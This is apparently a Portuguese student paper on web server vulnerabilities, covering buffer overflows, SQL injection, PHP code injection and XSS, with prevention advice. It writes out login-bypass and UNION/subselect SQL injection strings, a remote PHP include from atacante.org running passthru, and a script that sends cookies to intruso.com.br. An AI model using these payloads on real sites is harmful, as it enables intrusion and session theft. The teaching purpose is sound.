Vulnerabilidades servidor web

21
Nomes: Sávio Rodrigo Atunes dos Santos Rosa RA: 025144  Diego Henrique Florentino de Andrade RA: 023549 Segurança e WebServers 1) Introdução: Atualmente a utilização de aplicações web apresenta um papel fundamental no mercado de TI. Suas principais vantagens em relação às aplicações dektop estão no fato de que são acessíveis globalmente e possuem alta portabilidade. E tudo indica que as aplicações para web tendam a se tornar ainda mais populares, pois com o advento da Web 2.0 que utiliza tecnologias inovadoras, como o AJAX, houve um aumento notável na flexibilidade das aplicações desenvolvidas. Pretendemos abordar nesse documento assuntos relativos a segurança de WebServers e suas implicações no desenvolvimento de programas seguros para Web. 2) WebServers: Apesar dos programas WebServers diferirem em alguns detalhes, todos eles compartilhas algumas funcionalidades básicas: 1. Respostas a requisições HTTP: todo programa WebServer opera aceitando requisições HTTP da rede, e provendo respostas aos clientes. A resposta HTTP geralmente consiste de um documento HTML, mas pode ser também um arquivo em texto-plano, uma imagem, ou qualquer outro tipo de documento. Se algum problema ocorrer no processamento da requisição do cliente, um WebServer deve responder com uma mensagem de erro, que pode incluir algum documento HTML ou mensagem de texto para melhor melhor explicar o problema a um humano. 2. Logging: em geral WebServers tem a capacidade de guardar logs com informações detalhadas sobre requisições de clientes e respostas do servidor, permitindo ao WebMaster levantar estatísticas a respeito da operação do servidor. Na prática os WebServers também implementam algumas outras funcionalidades: 1. Configuração das funcionalidades por meio de arquivos de configuração ou por interfaces com o usuário. 2. Autenticação: requisição opcional de autorização antes de liberar o acesso a algum ou qualquer tipo de recurso. 3. Manipulação não apenas de contúdo estático, mas também de conteúdo dinâmico, através de suporte a uma ou mais das seguintes interfaces: SSI, CGI, SCGI, FastCGI, PHP, ASP, ASP.NET, Server API como NSAPI, ISAPI, etc. 4. Suporte a módulos, a fim de permitir a extensão das capacidades do servidor, seja adicionando ou modificando modulos de software que são ligados ao programa servidor ou que são dinamicamente carregados. 5. Suporte a HTTPS (SSL or TLS) a fim de permitir conexões seguras (cifradas) aow servidor, nas porta padrão 443 ao invés da porta 80, padrão para HTTP.

description

Algumas questoes e dicas quanto ao gerenciamento e administração de servidores web, em portugues. Questions and tips about webservers management and administration, in portuguese.

Transcript of Vulnerabilidades servidor web

Page 1: Vulnerabilidades servidor web

Nomes: Sávio Rodrigo Atunes dos Santos Rosa  RA: 025144 Diego Henrique Florentino de Andrade RA: 023549 

Segurança e WebServers

1) Introdução:

Atualmente a utilização de aplicações web apresenta um papel fundamental no mercado de TI. Suas principais vantagens em relação às aplicações dektop estão no fato de que são acessíveis globalmente e possuem alta portabilidade. E tudo indica que as aplicações para web tendam a se tornar ainda mais populares, pois com o advento da Web 2.0 que utiliza tecnologias inovadoras, como o AJAX, houve um aumento notável na flexibilidade das aplicações desenvolvidas. Pretendemos abordar nesse documento assuntos relativos a segurança de WebServers e suas implicações no desenvolvimento de programas seguros para Web.

2) WebServers:

Apesar dos programas WebServers diferirem em alguns detalhes, todos eles compartilhas algumas funcionalidades básicas:

1. Respostas a requisições HTTP: todo programa WebServer opera aceitando requisições HTTP da rede, e provendo respostas aos clientes. A resposta HTTP geralmente consiste de um documento HTML, mas pode ser também um arquivo em texto­plano, uma imagem, ou qualquer outro tipo de documento. Se algum problema ocorrer no processamento da requisição do cliente, um WebServer deve responder com uma mensagem de erro, que pode incluir algum documento HTML ou mensagem de texto para melhor melhor explicar o problema a um humano.

2. Logging: em geral WebServers tem a capacidade de guardar logs com informações detalhadas sobre requisições de clientes e respostas do servidor, permitindo ao WebMaster levantar estatísticas a respeito da operação do servidor.

Na prática os WebServers também implementam algumas outras funcionalidades:

1. Configuração das funcionalidades por meio de arquivos de configuração ou por interfaces com o usuário.

2. Autenticação: requisição opcional de autorização antes de liberar o acesso a algum ou qualquer tipo de recurso.

3. Manipulação não apenas de contúdo estático, mas também de conteúdo dinâmico, através de suporte a uma ou mais das seguintes interfaces: SSI, CGI, SCGI, FastCGI, PHP, ASP, ASP.NET, Server API como NSAPI, ISAPI, etc.

4. Suporte a módulos, a fim de permitir a extensão das capacidades do servidor, seja adicionando ou modificando modulos de software que são ligados ao programa servidor ou que são dinamicamente carregados.

5. Suporte a HTTPS (SSL or TLS) a fim de permitir conexões seguras (cifradas) aow servidor, nas porta padrão 443 ao invés da porta 80, padrão para HTTP.

Page 2: Vulnerabilidades servidor web

6. Compressão de conteúdo (geralmente por codificação gzip), para reduzir o tamanho das respostas e, por conseguinte, diminuir a banda requerida.

7. Virtual Host, para permitir hospedagem de muitos websites utilizando apenas um endereço IP.

8. Suporte a arquivos grandes, para que possa servir arquivos cujo tamanho sejam superiores a 2 GB.

9. Controle de banda, a fim de limitar a velocidade das respostas para não saturar a rede e poder servir outros clientes.

2.1) Uniform Resource Location (URL)

WebServers geralmente traduzem o caminho para um componente de uma URL um recurso para o sistema de arquivos local. O caminho URL especificado pelo cliente é traduzido para o para o diretório raiz do WebServer.

Considere a seguinte URL a ser traduzida pelo cliente:

http://www.example.com/path/file.html

O Browser do cliente traduzirá a URL em uma conexão para www.example.com de acordo com a seguinte requisição HTTP 1.1:

GET /path/file.html HTTP/1.1Host: www.example.com

O WebServer em www.example.com irá concatenar o caminho especificado com o seu diretório raiz. Nas máquinas Unix o diretório raiz é geralmente dado por /var/www/htdocs. O resultado é o seguinte recurso para o sistema de arquivos local:

/var/www/htdocs/path/file.html

O WebServer irá então ler este arquivo, se existir, e enviar a resposta para o Browser do cliente. A resposta descreverá o arquivo além de conter o próprio arquivo.

2.2) Aplicações WebServers:

Os quatro WebServers mais comuns são:

• Apache HTTP Server da Apache Software Foundation• Internet Information Services (IIS) da Microsoft• Sun Java System WebServer da Sun Microsystems• Zeus WebServer da Zeus Technology

A Internet vem experimentando atualmente um forte crescimento no número de sites, o que se deve em grande parte a popularização dos blogs, e da proliferação de companhias de hospedagem gratuita.

Abaixo um gráfico demonstrando a flutuação no número de websites no mundo, desde Agosto de 1995 até Junho de 2006.

Page 3: Vulnerabilidades servidor web

Gráfico 1 – Flutuação de WebSites de 08/95 a 06/06

Um outro aspecto interessante a ser notado é um recente ganho de mercado da Microsoft em relação ao concorrente software de código aberto Apache, que ainda continua líder de mercado. A migração observada deve­se ao fato de que algumas grandes companhias americanas de hospedagem de sites, como a Go Daddy, tem deixado de utilizar Linux como Sistema Operacional, e por esse motivo tem optado pelo pacote da Microsoft Windows – IIS.

Abaixo observamos um gráfico com a evolução no uso dos principais Softwares WebServers também de Agosto de 1995 a Junho de 2006, onde se percebe essa migração para o uso de IIS.

Gráfico 2 – Evolução no uso de WebServers

A tabela seguinte aponta o valor apurado no uso de WebServers no início dos meses de Maio e Junho de 2006, e também reflete essa migração para os sistemas da Microsoft.

Page 4: Vulnerabilidades servidor web

Junho de 2006 Porcentagem Maio de 2006 Porcentagem Diferença

Apache 52819517 64.76 52389885 61.25 ­3.51

Microsoft 20764239 25.46 25415611 29.71 4.25

Sun 1917950 2.35 1311822 1.53 ­0.82

Zeus 550437 0.67 531399 0.62 ­0.05Tabela 1 – Uso dos principais WebServers em Maio e Junho de 2006

2.3) WebServers mais utilizados e suas principais vulnerabilidades

Os principais servidores web utilizados são o IIS (Internet Information System) e o Apache.

Vulnerabilidades no Servidor IISExistem diversas vulnerabilidades em várias versões do  Microsoft IIS. Abaixo estão relacionadas as mais freqüentes:

• Muitas destas vulnerabilidades são "buffer overflows".• Falhas de segurança estariam presentes em algumas funções do servidor, como ISAPI, 

WebDAV e possibilitaria que um cracker lançasse ataques denial­of­service (DoS) e aproveitasse vulnerabilidades do tipo Cross­Site Scripting (CSS), como para elevação de privilégios.

Vulnerabilidades no Servidor APACHEO Apache é um programa complexo que goza de um certo respeito pela Comunidade Hacker por possuir seu código fonte aberto. Mas, por ser um programa complexo, que cada vez mais vem tendo um aumento de linhas de códigos e de funções, as chances de se descobrir um furo no Servidor Apache são consideráveis. Abaixo estão relacionadas as mais freqüentes:

• Ataque de negação de serviço.• Executar um ataque remoto através de um script ou ler cookies de outros sites – 

exploração de vulnerabilidades via CGI Scripts.

3) Segurança em WebServers:

Os principais pontos vulneráveis das aplicações voltadas à web que abordaremos são os seguintes:

• Buffer Overflow• SQL Injection• Code Injection• XSS / CSS (Cross Site Scripting)• Ataques via CGI­Scripts• Ataques via SSI (Server Side Include)

Page 5: Vulnerabilidades servidor web

Figura 1: Esquema das principais vulnerabilidades de um WebServer

3.1) Buffer Overflow

3.1.1) Introdução

   Buffer overflow é um falha de segurança comumente encontrada em WebServers, mas, apesar de ser uma falha muito conhecida e bastante séria, o erro repete­se sistematicamente a cada nova versão liberada.

   Alguns programas já são famosos por freqüentemente apresentarem a falha, como o Sendmail, módulos do Apache, o Internet Information Services (IIS) da Microsoft e softwares considerados seguros, como o OpenSSH.

  Um buffer overflow é resultado do  armazenamento de uma quantidade maior de dados do que um buffer pode suportar, ou seja, estourar o buffer. 

   O princípio de um ataque baseado em buffer overflow é estourar o  buffer  e sobrescrever parte da pilha, alterando o valor das variáveis locais, valores dos parâmetros e/ou o endereço de retorno. 

  Por exemplo, altera­se o endereço de retorno RET(Return Address)  da função para que ele aponte   para   a   área   em   que   o   código   que   se   deseja   executar   encontra­se   armazenado   (código malicioso dentro do próprio buffer estourado ou até algum trecho de código presente no programa vulnerável), podendo­se assim executar código malicioso  com os privilégios do usuário que executa o programa vulnerável, como super­usuário (root) por exemplo.

    Daemons  de   sistema   como   (syslogd(8),  mountd(8))   ou   aplicações   que   rodam   com privilégios de root como (sendmail(8), até pouco tempo) são portanto alvo preferencial.

3.1.2) Tipos de buffer overflow

  Existem três tipos básicos de ataques utilizando­se a vulnerabilidades de  buffer overflow: 

• Buffer overflow baseado em pilha: a técnica de  exploração mais simples e comum, atua 

Page 6: Vulnerabilidades servidor web

pela alteração do estado da pilha durante a execução do programa para direcionar a execução para o código malicioso contido no buffer estourado: 

• Buffer overflow baseado em heap: bem mais difícil de explorar, por causa da disciplina de acesso à heap (blocos não contíguos, fragmentação interna). Deve­se estourar o buffer armazenado na área da heap em direção ao endereço de retorno na pilha, para direcionar a execução para o código malicioso que se encontra no buffer estourado; 

• Buffer overflow de retorno à libc: alteram o fluxo de execução pelo estouro de algum buffer na pilha ou heap, para algum trecho de código armazenado no segmento de texto do programa. Tipicamente este trecho de código é alguma chamada de função comumente utilizada da biblioteca padrão libc, como as chamadas de execução arbitrária de comandos (funções da família exec(3)). Este tipo de ataque tem sido bastante utilizado após a inclusão de patches nos sistemas operacionais que impedem a execução de código em pilha, em heap ou na região de dados. 

3.1.3) Como prevenir ataques por buffer overflow    A técnica de solução tradicional é efetuar a checagem de limite (garantindo que o número 

Page 7: Vulnerabilidades servidor web

de caracteres inseridos não exceda o limite estabelecido) ou garantir que a linguagem faça a alteração dinâmica do tamanho do buffer. 

  A solução é utilizar funções de biblioteca que não apresentem problemas relacionados a buffer overflow.     

  A solução na biblioteca padrão é utilizar as funções strncpy(3) e strncat(3) que recebem como argumento o número máximo de caracteres copiados entre as strings. Deve haver controle no argumento fornecido para que ele não exceda o tamanho da string de destino, ou teremos novamente código vulnerável.

  Os sistemas BSD fornecem as funções strlcpy(3) e strlcat(3) para cópia e concatenação de strings.    Estas funções recebem como argumento o tamanho total do buffer de destino. 

  Outras bibliotecas, como a Libmib (Libmib Software Library) que implementa realocação dinâmica das strings quando seu tamanho é ultrapassado, e a Libsafe que contém versões modificadas das funções suscetíveis a buffer overflow, funcionando como um wrapper(padrão de  projeto) para a libc padrão. 

  Um dos problemas do servidor implementado é a falta de checagem de tamanho do buffer nas chamadas sucessivas à função read(2). As alternativas nesse caso são a inclusão de código de checagem de limite do buffer ou a utilização de funções como recv(2) que recebem como argumento o tamanho máximo da string recebida. 

Outras recomendações passam pela utilização de compiladores com checagem de limite, aplicação de patches ao sistema operacional que impossibilitem a execução de código na pilha ou heap (ainda restam os ataques utilizando a região de texto, entretanto), preferência por alocação dinâmica dos buffers na área de heap, atenção redobrada na codificação dos laços de interação que preenchem os buffers e exame cuidadoso das possíveis entradas do usuário. 

A exploração de código vulnerável a buffer overflow exige alguma habilidade, pois na maioria das vezes aproveitar­se das falhas não é fácil, mas o conhecimento necessário para tal tarefa pode ser facilmente adquirido pelo material difundido pela Internet e experimentos de explorar essa vulnerabilidade.

Por isso o desenvolvimento de software seguro deve ser tratado com muita responsabilidade e atenção, principalmente no desenvolvimento de software de segurança projetados para ser executado com privilégios de super­usuário ou usuário especial do sistema. 

3.2) SQL Injection:

SQL Injection é a técnica utilizada para explorar vulnerabilidades em aplicações Web que utilizam dados fornecidos pelo usuário sem antes tratar caracteres que podem oferecer algum perigo. A idéia é fazer com que a aplicação alvo rode um código SQL que não era inicialmente previsto pelo programador. Apesar de ser um problema de simples correção, existe um grande número de websites conectados a internet que são vulneráveis a esse tipo de ataque.

A seguir descreveremos as seguintes técnicas de SQL Injection:

• Passagem por autenticação• Usando o comando SELECT• Usando o comando INSERT• Usando Stored Procedures do SQL Server

3.2.1) Passagem por Autenticação:

Page 8: Vulnerabilidades servidor web

A técnica mais simples de SQL Injection é a passagem por formulários de login. Considere o seguinte código de uma aplicação Web:

SQLQuery = "SELECT Username FROM Usuários WHERE Username = ‘" &strUsername & "‘ AND Password = ‘" & strPassword & "‘"username = GetQueryResult(SQLQuery)If username = "" Then  Authenticated = FalseElse  Authenticated = TrueEnd If

O que acontece quando o usuário submete seu username e password? A consulta seguirá para o banco de dados buscando saber se na tabela “Usuários” existe um registro tal que o username e o password sejam os mesmos que os fornecidos pelo usuário. Se tal registro for encontrado o username será atribuido a variável “username”, que indica que o usuário identificou­se corretamente. Se não existir nenhum registro, “username” estará vazia, significando que o usuário não autenticou­se corretamente.

Se “strUsername” e “ strPassword” puderem conter qualquer caracter que for desejado, pode­se modificar a atual estrutura da consulta SQL tal que um nome válido possa ser retornado mesmo que não se conheça um par username/password válidos. Para isso basta que se preencha os campos “login” e “password” do formulário da seguinte forma:

Login: ' OR '1'='1Password: ' or '1'='1

Isto resultará na seguinte consulta SQL:

SELECT Username FROM Users WHERE Username = ‘‘ OR ‘1‘=‘1‘ ANDPassword = ‘‘ OR ‘1‘=‘1‘

Ao invés de comparar o usuário fornecido pelo usuário com aqueles presentes na tabela “Usuários”, a consulta irá comparar a cláusula '1'='1' que obviamente sempre retorna TRUE. Uma vez que as condições da cláusula WHERE foram atendidas, a aplicação selecionará a primeira linha do conjunto de registros retornados. Passara o username para a váriavel de mesmo nome o que garantirá a autenticação.

3.2.2) Usando o comando SELECT:

Em algumas situações, é necessário fazer engenharia reversa da aplicação vulnerável a partir das mensagens de erro retornadas. Para fazer isso é necessário saber interpretar as mensagens retornadas para saber como fazer o melhor ataque.

O primeiro erro normalmente encontrado é o erro de sintaxe. Um erro de sintaxe indica que a consulta não segue a estrutura SQL correta. A primeira coisa a ser feita é determinar se a injeção de código é possível através da manipulação de aspas.

Em uma injeção direta qualquer argumento submetido será usado na consulta SQL sem qualquer modificação. Uma boa tática é atribuir um valor legítimo ao valor a ser submetido e concatenar a ele um espaço e a palavra “OR”. Se este fato gerar um erro, então é possível fazer a injeção direta. Valores diretos podem ser valores númericos usados na cláusula WHERE, tal como o exemplo abaixo:

SQLString = "SELECT FirstName, LastName, Title FROM Employees WHERE 

Page 9: Vulnerabilidades servidor web

Employee = " & intEmployeeID

ou pode ser também um nome de tabela ou campo, tal como:

SQLString = "SELECT FirstName, LastName, Title FROM Employees ORDER BY " & strColumn

Todas as outras instâncias são vulnerabilidades que usam aspas, conhecidas como “quoted injection”. Em uma “quoted injection” qualquer argumento submetido terá aspas adicionadas ao seu início e fim, assim como:

SQLString = "SELECT FirstName, LastName, Title FROM Employees WHERE EmployeeID = ‘" & strCity & "‘"

Para quebrar o uso de aspas e manipular a consulta mantendo uma sintaxe válida, deve­se usar uma aspas simples antes do uso de qualquer keyword SQL, tal como “OR”, “AND”, etc.

3.2.2.1) União Basica:

O uso do comando SELECT é usado com o objetivo de obter informações do banco de dados. A maioria das páginas que apresentam conteúdo dinâmico obtém esse conteúdo através do uso de queries com comando SELECT, e na maioria das vezes somente será possível manipular a porção da query que se localiza após a cláusula WHERE.

Para fazer o banco de dados retornar registros que não sejam aqueles previstos pelo programador, é possível modificar a cláusula WHERE injetando um comando UNION SELECT. Isto permite que múltiplas queries SELECT sejam especificadas de uma vez. Eis um exemplo:

SELECT CompanyName FROM Shippers WHERE 1 = 1 UNION ALL SELECT CompanyName FROM Customers WHERE 1 = 1

Isto retornará o conjunto de registros da primeira query somado ao conjunto de registros da segunda. O ALL é necessário para permitir certos tipos de cláusulas SELECT DISTINCT. O atacante deve apenas se assegurar de que a primeira query ( aquele que o desenvolvedor da aplicação pretendia executar) não retorna nenhum resultado. Suponha o script com o seguinte código:

SQLString = "SELECT FirstName, LastName, Title FROM Employees WHERE City = ‘" & strCity & "‘"

O atacante utiliza a seguinte string para injeção:

 ‘ UNION ALL SELECT OtherField FROM OtherTable WHERE ‘‘=‘

A query resultante a ser mandada para o banco de dados é a seguinte:

SELECT FirstName, LastName, Title FROM Employees WHERE City = ‘‘ UNION ALL SELECT OtherField FROM OtherTable WHERE ‘‘=‘‘

O banco de dados irá inspecionar a tabela Employees, buscando por um registro tal que o campo  City possua como valor a string vazia. Uma vez que esse valor não será encontrado, nenhum registro será retornado. Os únicos registros retornados serão da query injetada. Em alguns casos, usar a string vazia não irá funcionar porque existirão entradas na tabela que estarão vazias, ou porque o valor vazio possui algum outro significado para a aplicação. É necessário simplesmente especificar um valor que não ocorre na tabela. Quando um número deve ser especificado, zero ou um número negativo geralmente funcionam bem. Para argumentos textuais é recomendado usar uma 

Page 10: Vulnerabilidades servidor web

string pouco comum. 

3.2.2.2) Queries com problemas de sintaxe:

Alguns servidores de bancos de dados retornam a porção da query contendo o erro de sintaxe em mensagens de erro. Nestes casos é possível se aproveitar destas mensagens no auxilio à injeção de código SQL. Dependendo de como a query foi construída, é possível obter informações de grande utilidade.

3.2.2.3) Parênteses:

Se o erro de sintaxe contém um parêntese na mensagem retonada, ou a mensagem relata problemas no balanceamento de parênteses, é uma boa idéia adicionar parênteses à string que será injetada. Em alguns casos será necessário adicionar dois ou mais parenteses. Abaixo um exemplo do uso dessa técnica:

"SELECT LastName, FirstName, Title, Notes, Extension FROMEmployees WHERE (City = ‘" & strCity & "‘)"

então, o seguinte valor pode ser injetado:

“‘) UNION SELECT OtherField FROM OtherTable WHERE (‘‘=‘”,

resultando na seguinte query a ser mandada para o banco de dados:

SELECT LastName, FirstName, Title, Notes, Extension FROMEmployees WHERE (City = ‘‘) UNION SELECT OtherField FromOtherTable WHERE (‘‘=‘‘)

a qual possui todos os parenteses balanceados e foi uma boa escolha graças à informação obtida de que existia um erro no balanceamento de parenteses.

3.2.2.3) Uso da cláusula LIKE:

Uma outra possibilidade de injeção de código SQL é feita em uma cláusula LIKE. São indicações dessa situação o aparecimento da palavra­chave LIKE ou do caracter porcento no retorno de erro. A maioria das funções de busca utilizam a cláusula LIKE nas queries SQL, como o exemplo abaixo:

SQLString = "SELECT FirstName, LastName, Title FROM EmployeesWHERE LastName LIKE ‘%" & strLastNameSearch & "%’"

Os caracteres porcento permitem que sejam retornados todos os registros em que a string passada como parâmetro esteja contida nas strings do campo no banco de dados. Para fazer com que a query não retorne resultados, é preciso que o valor submetido não esteja contido em nenhuma string do campo LastName. Também é possível submeter uma string vazia, o que fará com que o banco de dados retorne todos os registros.

3.2.3) Usando o comando INSERT:

O comando INSERT é utilizado com o objetivo de inserir informações ao banco de dados. Usos comuns do comando INSERT numa aplicação web incluem desde registro de usuários à 

Page 11: Vulnerabilidades servidor web

adição de itens ao carrinho em uma loja de comércio eletrônico. Checar vulnerabilidades no comando INSERT é tarefa semelhante aquele realizada ao checar vulnerabilidades na cláusula WHERE. Não se deve usar o comando INSERT caso se queira previnir contra detecção. Dependendo do quão atencioso é o administrador ou da forma como a informação submetida é utilizada, ele pode ficar sabendo do ataque.

Eis uma forma de como a injeção utilizando INSERT difere­se da injeção utilizando SELECT. Suponha um site que permite algum tipo de registro de usuário através de um fomulário onde se preenche o nome, endereço, número de telefone, etc. Depois de submeter o formulário é possível navegar até uma página onde esteja disposta a informação submetida e seja possível editá­la. É exatamente o que se precisa. Para tirar vantagem da vulnerabilidade do comando INSERT, é preciso ver a informação submetida, não sendo importante onde ela se encontra. Talvez ao se logar a aplicação disponha o valor gravado para o nome, ou ao se cadastrar a aplicação envie um e­mail com o nome na mensagem. Seja como for, é preciso encontrar uma forma de analisar os dados submetidos.

O comando INSERT tem a seguinte forma:

SQLString = "SELECT FirstName, LastName, Title FROM EmployeesWHERE LastName LIKE ‘%" & strLastNameSearch & "%’"

Pode ser necessário manipular os argumentos na cláusula VALUES para que seja possível recuperar outros dados. Isso pode ser feito usando­se subselects.

Considere o seguinte código:

SQLString = "INSERT INTO TableName VALUES (‘" & strValueOne &"‘, ‘" & strValueTwo & "‘, ‘" & strValueThree & "‘)"

Então preenche­se o formulário da seguinte forma:

Nome: ‘ + (SELECT TOP 1 FieldName FROM TableName) + ‘Email: [email protected]: 333­333­3333

Isso faz com que a query SQL seja:

INSERT INTO TableName VALUES (‘‘ + (SELECT TOP 1 FieldName FROMTableName) + ‘‘, ‘[email protected]’, ‘333­333­3333’)

Ao visualizar a página com a edição dos dados o que será visto é o primeiro valor do campo FieldName, onde originalmente estaria o nome preenchido. Caso não seja usado TOP 1 no subselect obter­se­á uma mensagem de erro dizendo que muitos registros foram retornados. É possível obter todos os registros da tabela repetindo o procedimento anterior e usando a cláusula NOT IN() para os valores já obtidos.

 3.2.4) Soluções para SQL Injection:

Duas ações devem ser tomadas para imunizar a aplicação contra SQL Injection: tratar os dados recebidos e tratar da segurança da aplicação.

3.2.4.1) Tratamento de dados:

Todos os dados submetidos pelo usuário precisam ser investigado e limpos de caracteres que podem ser usados de forma maliciosa. Isso na verdade deveria ser feito para todas as aplicações, não 

Page 12: Vulnerabilidades servidor web

somente aquelas que usam queries SQL. Uma boa solução é a utilização da técnica de escape de caracteres aspas. Para isso adiciona­se uma barra invertida(slash) antes de cada aspas presente no texto submetido. Todavia esta técnica não garante que a injeção não acontecerá (por exemplo, no ataque direto, que não utiliza aspas, explicado anteriormente). É preciso adotar tambem novas técnicas. Umas das possibilidades é a restrição da entrada a um conjunto de caracteres aceitavéis. Isso deve ser feito adotando expressões regulares. O exemplo abaixo retorna apenas números e caracteres:

s/[^0­9a­zA­Z]//\

Podem ser feitos quaiquer tipos de filtros usando expressão regular, e quanto mais restrita for a entrada, menor a possibilidade de injeção. A adoção de filtros é especialmente importante quando os dados de entrada devem ser apenas números. Caso seja necessário incluir símbolos, ou pontuação de qualquer tipo, estes devem ser convertidos para seus substitutos em HTML, tal como &quote; ou >. Por exemplo, se o usuário estiver submetendo um e­mail, deve ser permitado apenas os caracteres “@”, underscore, ponto, hífen além de números e letras, e devem ser permitidos apenas após a transformação desses caracteres para seus substitutos HTML.

3.2.4.2) Codificação de queries SQL:

Existem algumas regras básicas para codificação SQL. Em primeiro lugar deve­se sempre adicionar aspas ao início e ao fim dos dados submetidos pelo usuário, e sempre adicionar uma barra invertida antes de cada aspas no texto do usuário, caso sejam relamente necessárias e precisem passar pelo filtro. Além disso os direitos do usuário de banco de dados da aplicação devem ser os mais restritos possíveis.

3.3) Code Injection:

Se uma aplicação web processa dinamicamente arquivos de inclusão ou caminhos para arquivos incorretamente, torna­se vulnerável a execução de um código arbitrário no servidor, ou da recuperação do conteúdo de arquivos. Um ataque implementado com sucesso permite ao atacante passagem pelo processo de autenticação, execução de comandos no servidor, visualização e gravação de dados arbitrários em arquivos, entre outras coisas. Usaremos como linguagem padrão para exemplos o PHP, mas os problemas de injeção de código existem em todas as linguagens de scripts para web existentes.

3.3.1) Arquivos:

Uma das coisas que torna PHP uma linguagem bastante flexivel é a facilidade para manipulação de arquivos. As funções include(), require() e fopen() aceitam nomes de arquivos com caminho local e também remoto, através do uso de URLs. Muitas das vulnerabilidades existentes decorrem da manipulação incorreta de arquivos dinâmicos ou de caminhos para arquivos.

Suponha um site que possua um script o qual inclui arquivos HTML e os dispõe em um layout apropriado. A URL para esse script seguiria a seguinte forma:

http://example.com/page.php?i=aboutus.html

A variável “i” contém o nome do arquivo a ser incluído. Algumas questões podem ser feitas sobre o modo como foi programado o script:

Page 13: Vulnerabilidades servidor web

• O programador considerou a possibilidade de voltar em diretórios como em i=../../../etc/passwd?

• Checou o arquivo pela extensão .html?• Usou a função fopen para incluir os arquivos?• Teria ele pensado em proibir a possibilidade de incluir arquivos remotos?

Em se tratando de uma aplicação vulnerável, a resposta para estas pergunta é não! Nesse caso seria possível visualizar todos os arquivos para o qual o usuário httpd tem permissão de leitura. Mas um possibilidade ainda mais interessante seria a utilização da variável “i” para inclusão de arquivos HTML remotos. Supondo a URL:

http://example.com/page.php?i=http://atacante.org/exec.html

Então poderíamos preencher o arquivo exec.html com as seguintes linhas.

<?php     passthru ('ls ­al /etc');     passthru ('echo Seu site foi hackeado | mail root'); ?> 

Como se percebe, a vulnerabilidade de injeção de código pode ser bastante desastrosa.

3.3.1) Variáveis globais:

Por padrão o PHP cria a maioria das variáveis em escopo global. Por um lado isto é bastante conveniente, mas por outro pode fazer com que o programador se perca em scripts longos. De onde a variável surgiu? Se ela não foi setada, como de onde ela apareceu? Todas as variáveis EGPCS (Environment, GET, POST, Cookie, and Server) são colocadas em um escopo global.

Os arrays associativos globais $HTTP_ENV_VARS, $HTTP_GET_VARS, $HTTP_POST_VARS, $HTTP_COOKIE_VARS, $HTTP_SERVER_VARS e $HTTP_SESSION_VARS serão criados quando a diretiva de configuração track_vars estiver setada. Desta forma será possível procurar pelas variáveis no lugar de onde se espera que venham.

Exemplo

O problema abaixo foi reportado para Bugtraq por Ismael Peinado Palomo em 25 de Julho de 2001. Mambo Site Server 3.0.x, um portal dinâmico de gerenciamento de conteúdo baseado em PHP e MySQL, vulnerável a injeção de código. Para simplificação o código foi modificado.

No diretório admin/, o arquivo index.php checa se o password submetido é igual aquele do banco de dados.

<?php     if ($dbpass == $pass) {         session_register("myname");         session_register("fullname");         session_register("userid");         header("Location: index2.php");     } ?> 

Quando o password estivesse correto, as variáveis $myname, $fullname e $userid eram 

Page 14: Vulnerabilidades servidor web

registradas como variáveis de sessão. O usuário era então redirecionado para index2.php, onde ocorria o seguinte:

<?php     if (!$PHPSESSID) {         header("Location: index.php");         exit(0);     } else {         session_start();         if (!$myname) session_register("myname");         if (!$fullname) session_register("fullname");         if (!$userid) session_register("userid");     } ?> 

Se a variável de sessão ainda não tivesse sido setada, o usuário seria redirecionado de volta para a página de login. Caso um session ID já existisse, o script colocaria as variáveis em escopo global. Vamos ver como explorar esta vulnerabilidade. Considere a seguinte URL:

http://example.ch/admin/index2.php?PHPSESSID=1&myname=admin&fullname=joey&userid=admin

As variáveis de GET $PHPSESSID, $myname, $fullname e $userid serão criadas como variáveis globais por padrão. Desse forma, ao olhar para a estrutura if­else acima, veremos que o script terá a variável $PHPSESSID como setada, e as 3 variáveis dedicadas a autorizar e identificar o usuário podem ser setadas para qualquer valor desejado. O banco de dados nem precisou ser consultado!

3.4) Cross­Script­Site

3.4.1) Introdução

A expressão "Cross Script Site" (CSS ou XSS) está se tornando muito conhecida, e consiste numa falha de segurança muito comum no sites de conteúdo dinâmico ( Perl, JSP, etc).

O problema surge quando um site incorpora em si próprio dados dinâmicos fornecidos pelos seus usuários sem verificar completamente essas entradas, isto é, o atacante pode usar tags maliciosos que podem prejudicar o sistema. 

Por exemplo em sites que são projetados para permitir tags de HTML, para assim ficarem mais interativos, podem permitir comentários de usuários que serão postados depois a outros leitores em um livro de visitas (ou guestbook).

Nesse tipo de site, um cracker, colocando certos valores nos blanks destinados aos comentários, poderia:

• utilizando­se uma tag <SCRIPT> e com um certo conhecimento sobre o site, o script poderia extrair outras informações do site e submetê­las a um servidor controlado pelo cracker. 

• com uma tag <FORM>, a entrada poderia alterar o comportamento do formulário, até mesmo fazendo com que as informações fossem para uma outra fonte. 

Page 15: Vulnerabilidades servidor web

• com uma tag <IMG> poderia ser agregada uma imagem ofensiva. 

• inserir referências em Java (inclusive referências para applets maliciosos). 

• ocasionar o término do arquivo acrescentando </HTML>.

Além disso, esse tipo de vulnerabilidade pode ter efeitos muito mais graves como expor conexões SSL­codificadas, tendo acesso locais da rede restringidos pelo cliente, violando políticas de segurança de domínio, criando DoS (Denial of Service), enviando simplesmente um código JavaScript para um loop infinito de aberturas de janelas do browser, tentativas de ataques de buffers overflows em browsers). 

3.4.2) Algumas maneiras de como o CSS pode acontecer

1) O intruso pode sequestrar a session de outro usuário com um código JavaScript relativamente simples como este:

<iframe name="teste" id="teste" height="0" width="0"></iframe><script language="JavaScript"><!­­document.getElementById('teste').src = 'http://intruso.com.br/sequestar.php?cookies=' + document.cookie;//­­></script>

Esse código submete todos os cookies de um determinado usuário do sistema para o cracker.

2) o intruso pode também injetar código HTML malicioso com o objetivo de realizar ataques do tipo Denial of Service ao seu site como este que segue abaixo.

 Supondo que a página sendo atacada se chama exemplo.php

<iframe src="exemplo.php" height="1" width="1"></iframe>

O IFRAME irá tentar abrir o próprio script exemplo.php, e esse exemplo.php terá o IFRAME novamente, e assim sucessivamente, gerando um loop infinito na Web.

3) Considere a seguinte URL:

http://www.example.com/search.pl?text=<script>alert(document.cookie)</script> 

Se um atacante digitar um link como este e a aplicação Web não validar a entrada, então o browser irá mostrar uma mensagem de alerta mostrando o conjunto corrente de cookies.

Um exemplo prático dessa vulnerabilidade pode ser visto na tela abaixo onde foi acrescido target=<script>alert(“XSS”)</script> no fim da URL padrão do site. Uma janela de alerta é exibida.

Page 16: Vulnerabilidades servidor web

Figura 2: Exemplo de uma tela com uma mensagem de alerta devido a CSS

